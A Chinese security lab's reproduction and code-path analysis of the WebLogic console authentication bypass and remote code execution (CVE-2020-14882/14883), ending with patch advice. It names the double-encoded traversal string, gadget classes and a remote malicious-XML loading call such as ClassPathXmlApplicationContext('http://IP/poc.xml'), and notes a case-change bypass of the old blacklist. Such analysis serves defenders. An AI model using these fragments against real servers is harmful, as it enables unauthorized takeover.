Loading [MathJax]/jax/output/CommonHTML/config.js
前往小程序,Get更优阅读体验!
立即前往
首页
学习
活动
专区
圈层
工具
发布
首页
学习
活动
专区
圈层
工具
MCP广场
社区首页 >专栏 >漏洞分析|Weblogic未授权访问及命令执行分析复现(CVE-2020-14882/14883)

漏洞分析|Weblogic未授权访问及命令执行分析复现(CVE-2020-14882/14883)

作者头像
云鼎实验室
发布于 2020-11-10 07:10:21
发布于 2020-11-10 07:10:21
3.6K0
举报

一、背景

漏洞概述:

WebLogic是美国Oracle公司的主要产品之一,是商业市场上主要的 J2EE 应用服务器软件,也是世界上第一个成功商业化的J2EE应用服务器,在 Java 应用服务器中有非常广泛的部署和应用。

10月21日,Oracle官方发布数百个组件的高危漏洞公告。其中组合利用CVE-2020-14882/ CVE-2020-14883可使未经授权的攻击者绕过WebLogic后台登录等限制,最终远程执行代码接管WebLogic服务器,利用难度极低,风险极大。

此处漏洞均存在于WebLogic的控制台中。该组件为WebLogic全版本自带组件,并且该漏洞通过HTTP协议进行利用,CVE-2020-14882漏洞允许未授权的用户绕过管理控制台的权限验证访问后台,CVE-2020-14883允许后台任意用户通过HTTP协议执行任意命令。

漏洞编号:

CVE-2020-14882、CVE-2020-14883

漏洞等级:

高危,CVSS评分9.8

受影响的版本:

10.3.6.0.0、12.1.3.0.0、12.2.1.3.0、12.2.1.4.0、14.1.1.0.0

二、复现

复现环境:

本次测试是用的weblogic 10.3.6.0及weblogic12.2.1.3.0,weblogic12.2.1.4.0

权限绕过漏洞(CVE-2020-14882)复现:

在正常访问console后台时会提示输入帐号密码

对于其他路径也限制了访问,可以看到返回403

通过未授权访问,则可以绕过验证直接访问后台。

可看到通过未授权访问的后台与正常登陆的后台相比,由于权限不足,缺少部署等功能,无法安装应用,所以也无法通过部署项目等方式直接获取权限。

‘%252E%252E%252F’即为二次URL编码过后的‘../’,通过这个就可以实现穿越路径未授权访问相关管理后台

任意代码执行复现:

利用上述未授权访问CVE-2020-14882结合CVE-2020-14883

利用方式(一):

通过:

com.bea.core.repackaged.springframework.context.support.FileSystemXmlApplicationContext,这种方法最早在CVE-2019-2725被提出,该方法通用于各版本weblogic。

这里首先需要我们构造一个恶意的xml文件,如这里我们自己搭建的http://10.211.55.2:9999/rce-win.xml。

其次需要被攻击的weblogic能够访问我们的恶意xml。

其他gadget:

com.bea.core.repackaged.springframework.context.support.ClassPathXmlApplicationContext("http://IP/poc.xml")

利用方式(二):

通过com.tangosol.coherence.mvel2.sh.ShellSession,但此利用方法只能在Weblogic 12.2.1及以上版本利用,因为10.3.6并不存在com.tangosol.coherence.mvel2.sh.ShellSession类。

我们可以看到在当前10.3.6版本会提示

当使用12版本测试时,即可测试成功

其他exp:

比如回显的

或者POST形式 :

调试分析:

首先,通过静态资源文件绕过路径权限的校验。之后weblogic会对提交的url进行两次url解码。最后会将handle中的参数传入HandleFactory执行任意代码。

从绕过路径权限的校验开始。首先weblogic的请求会经过weblogic.servlet.internal.WebAppServletContext#execute处理,这里会调用securedExecute()

跟进securedExecute,后会调用doSecuredExecute,继续跟进

weblogic.servlet.internal.WebAppServletContext#doSecuredExecute

在这里调用checkAccess进行权限的检查

进入weblogic.servlet.security.internal.WebAppSecurity#checkAccess()中可以看到当我们请求的路径为/console/console.portal时,checkAllResources为false

这里跟进weblogic.servlet.security.internal.WebAppSecurityWLS#getConstraint()

这里即比较我们的relURI是否匹配我们matchMap中的路径,并判断rcForAllMethods和rcForOneMethod是否为null

当我们的relURI为/console.portal时,rcForAllMethods不为null,rcForOneMethod为null,所以返回了rcForAllMethods。而对应静态资源就不会有限制和校验

接下来回到checkAccess,如果这里是原来的/console.portal时,到这就结束了

如果使用console/images/console.portal则会继续判断resourceConstraint及后续的isAuthorized,并进入weblogic.servlet.security.internal.ChainedSecurityModule#checkAccess

在weblogic.servlet.security.internal.CertSecurityModule#checkUserPerm中会进入hasPermission校验权限

所以当我们这里使用静态资源路径时,unrestrict值就为true

之后会根据web.xml中的配置对应的AsyncInitServlet来到了weblogic.servlet.AsyncInitServlet#service

这里如果解码后的url里没有;,那么就会继续调用super.service

再次进入super.service()

最终不管哪种请求都会来到doPost,并在这里调用createUIContext

可以看到此时已经经过了一次解码

随后进入getTree又进行了一次解码,此时requestPattern就变成/css/../console.portal

之后来到com.bea.console.utils.BreadcrumbBacking#init类,进入findFirstHandle

这里会逐个检查参数中是否有handle并将handle的参数内容提取出来返回

最后将获取到的handleStr作为参数调用HandleFactory.getHandle(handleStr);此时也就来到了代码执行的入口

此时传进来的handleStr会在这里被拆成两部分,一个作为被实例化的类,另一个作为该类的构造函数参数及实例化,比如java.lang.String('aaaa'),被拆分成java.lang.String和aaaa

所以我们就可根据此来构造gadget,最终通过反射机制在此触发

比如当我们构造了恶意gadget后就变成了这样,随后即可触发rce

三、修复

目前Oracle官方已发布了最新针对该漏洞的补丁,请受影响用户及时下载补丁程序并安装更新。

Oracle官方补丁需要用户持有正版软件的许可账号,使用该账号登陆https://support.oracle.com后,可以下载最新补丁。

参考链接:https://www.oracle.com/security-alerts/cpuoct2020.html

在旧版补丁中,使用黑名单过滤,可使用大小写绕过,请更新最新版的补丁,或者如无使用必要可选择关闭console。

更多精彩内容点击下方扫码关注哦~

   云鼎实验室视频号

  一分钟走进趣味科技

     -扫码关注我们-

 云鼎实验室互动星球

 一个多元的科技社交圈

  -扫码关注我们-

关注云鼎实验室,获取更多安全情报

本文参与 腾讯云自媒体同步曝光计划,分享自微信公众号。
原始发表:2020-11-09,如有侵权请联系 cloudcommunity@tencent.com 删除

本文分享自 云鼎实验室 微信公众号,前往查看

如有侵权,请联系 cloudcommunity@tencent.com 删除。

本文参与 腾讯云自媒体同步曝光计划  ,欢迎热爱写作的你一起参与!

评论
登录后参与评论
暂无评论
推荐阅读
编辑精选文章
换一批
【漏洞复现】Weblogic漏洞复现:CVE-2020-14882未授权代码执行
近日,Oracle WebLogic Server 远程代码执行漏洞 (CVE-2020-14882)POC 被公开,未经身份验证的远程攻击者可通过构造特殊的 HTTP GET 请求,结合 CVE-2020-14883 漏洞进行利用,利用此漏洞可在未经身份验证的情况下直接接管 WebLogic Server Console ,并执行任意代码,利用门槛低,危害巨大。
一名白帽的成长史
2020/11/09
8K0
【漏洞复现】Weblogic漏洞复现:CVE-2020-14882未授权代码执行
CVE-2020-14882​&14883:Weblogic RCE复现
Weblogic是美国Oracle公司出品的一个Application Server,确切的说是一个基于JavaEE架构的中间件,Weblogic是用于开发、集成、部署和管理大型分布式Web应用、网络应用和数据库应用的Java应用服务器。
Timeline Sec
2020/12/02
2K0
Weblogic未授权远程命令执行漏洞(CVE-2020-14882&CVE-2020-14883)复现
Weblogic是Oracle公司推出的J2EE应用服务器,CVE-2020-14882允许未授权的用户绕过管理控制台的权限验证访问后台,CVE-2020-14883允许后台任意用户通过HTTP协议执行任意命令。使用这两个漏洞组成的利用链,可通过一个GET请求在远程Weblogic服务器上以未授权的任意用户身份执行命令。
用户8478399
2022/09/22
5110
Weblogic未授权远程命令执行漏洞(CVE-2020-14882&CVE-2020-14883)复现
​复现CVE-2020-14883(说几个坑)
如果在不出网的情况下是否还能利用成功,然后我们就做了一下实验把网线拔了,确实远程加载不了xml,哪怕靶机跟攻击机在同一个C段内,也是调用不成功。
Khan安全团队
2021/01/22
1.1K0
WebLogic Console权限认证绕过漏洞(CVE-2020-14750)
- WebLogic Console权限认证绕过漏洞(CVE-2020-14750) -
LuckySec
2022/11/18
2.7K0
WebLogic Console权限认证绕过漏洞(CVE-2020-14750)
weblogic漏洞复现
简介:利用该漏洞可以发送任意HTTP请求,进而攻击内网中redis、fastcgi等脆弱组件
nNoSuger
2024/03/23
3160
weblogic漏洞复现
weblogic 权限绕过命令执行漏洞复现
Weblogic是Oracle公司推出的J2EE应用服务器。在2020年10月的更新中,Oracle官方修复了两个长亭科技安全研究员@voidfyoo 提交的安全漏洞,分别是CVE-2020-14882和CVE-2020-14883。
LuckySec
2022/11/02
1.6K0
weblogic 权限绕过命令执行漏洞复现
Weblogic漏洞利用总结
Weblogic是美国Oracle公司出品的一个应用服务器(application server),确切的说是一个基于Java EE架构的中间件,是用于开发、集成、部署和管理大型分布式Web应用、网络应用和数据库应用的Java应用服务器
黑白天安全
2021/03/16
4.9K0
Weblogic漏洞利用总结
Weblogic相关漏洞复现
假如目标环境有任意文件读取的漏洞,我们可以选择性地读取一些文件,由于weblogic使用AES加密(老版本3DES),所以是可以解密的,只需要找到加密时的用户密文和密钥即可,其均位于base_domain下,名为SerializedSystemIni.dat和config.xml,在本环境中为./security/SerializedSystemIni.dat和./config/config.xml(基于当前目录/root/Oracle/Middleware/user_projects/domains/base_domain)所以我们可以读取这两个文件
Gh0st1nTheShel
2022/02/25
2.8K0
weblogic中间件漏洞总结
WebLogic是美国Oracle公司出品的一个application server确切的说是一个基于JAVAEE架构的中间件,BEA WebLogic是用于开发、集成、部署和管理大型分布式Web应用、网络应用和数据库应用的Java应用服务器。WebLogic是用于开发、集成、部署和管理大型分布式Web应用、网络应用和数据库应用的Java应用服务器。将Java的动态功能和Java Enterprise标准的安全性引入大型网络应用的开发、集成、部署和管理之中。
亿人安全
2022/06/30
1.5K0
weblogic中间件漏洞总结
CVE-2021-2109:Weblogic远程代码执行分析复现
WebLogic是美国Oracle公司出品的一个application server,确切的说是一个基于JAVAEE架构的中间件,WebLogic是用于开发、集成、部署和管理大型分布式Web应用、网络应用和数据库应用的Java应用服务器。
Timeline Sec
2021/03/04
3.9K0
Weblogic-CVE-2021-2109
影响版本 WebLogic 10.3.6.0.0 WebLogic 12.1.3.0.0 WebLogic 12.2.1.3.0 WebLogic 12.2.1.4.0 WebLogic 14.1.1
Naraku
2021/07/29
7290
Weblogic-CVE-2021-2109
甲骨文发布紧急补丁修复WebLogic Server严重漏洞
10月更新的严重漏洞CVE-2020-14882补丁刚过去不久,Oracle又发布了新的严重漏洞更新。
FB客服
2020/11/06
7100
甲骨文发布紧急补丁修复WebLogic Server严重漏洞
CVE-2024-20931:Weblogic JNDI注入远程命令执行漏洞
WebLogic是美国Oracle公司出品的一个application server确切的说是一个基于JAVAEE架构的中间件,BEA WebLogic是用于开发、集成、部署和管理大型分布式Web应用、网络应用和数据库应用的Java应用服务器。
Timeline Sec
2024/07/16
1.8K0
CVE-2024-20931:Weblogic JNDI注入远程命令执行漏洞
vulhub-weblogic漏洞复现
当访问 http://ip:7001 存在下图时,说明 weblogic 已成功启动
MssnHarvey
2022/08/10
1.1K0
vulhub-weblogic漏洞复现
记一次企业业务服务器渗透,WebLogic未授权代码执行
《中华人民共和国刑法》 第二百八十五条规定,非法侵入计算机信息系统罪;非法获取计算机信息系统数据、非法控制计算机信息系统罪;提供侵入、非法控制计算机信息系统程序、工具罪是指,违反国家规定,侵入国家事务、国防建设、尖端科学技术领域的计算机信息系统的,处三年以下有期徒刑或者拘役。
王忘杰
2022/09/22
5120
记一次企业业务服务器渗透,WebLogic未授权代码执行
2020年11月 Oracle WebLogic 高危预警:CVE-2020-14750 无需认证攻击
墨墨导读:Oracle 在11月2日 发布了一个关于 WebLogic 中间件的新的安全预警,这个安全警报涉及CVE-2020-14750,即Oracle WebLogic Server中的远程代码执行漏洞。
数据和云
2020/11/16
1.1K0
2020年11月 Oracle WebLogic 高危预警:CVE-2020-14750 无需认证攻击
WebLogic coherence UniversalExtractor 反序列化 (CVE-2020-14645) 漏洞分析
Oracle七月发布的安全更新中,包含了一个Weblogic的反序列化RCE漏洞,编号CVE-2020-14645,CVS评分9.8。
Seebug漏洞平台
2020/08/07
6480
原创Paper | 聊聊 Nuclei YAML 语法模版及 Pocsuite3 的兼容思路
Pocsuite3 是由知道创宇 404 实验室打造的一款基于 GPLv2 许可证开源的远程漏洞测试框架【1】。框架本身使用 Python3 开发,集成了 ZoomEye、Shodan、CEye、Interactsh 等众多安全服务的 API,用户可以基于 Pocsuite3 快速编写 PoC/Exp,对批量目标进行漏洞验证并获取汇总结果。
Seebug漏洞平台
2023/01/05
2.8K0
CVE-2020-2883:Weblogic反序列化分析
2020年4月Oracle官方发布关键补丁更新公告CPU(Critical Patch Update),其中曝出两个针对WebLogic Server ,CVSS 3.0评分为 9.8的严重漏洞(CVE-2020-2883、CVE-2020-2884),允许未经身份验证的攻击者通过T3协议网络访问并破坏易受攻击的WebLogic Server,成功的漏洞利用可导致WebLogic Server被攻击者接管,从而造成远程代码执行。
Al1ex
2021/07/21
1.1K0
CVE-2020-2883:Weblogic反序列化分析
推荐阅读
相关推荐
【漏洞复现】Weblogic漏洞复现:CVE-2020-14882未授权代码执行
更多 >
领券
问题归档专栏文章快讯文章归档关键词归档开发者手册归档开发者手册 Section 归档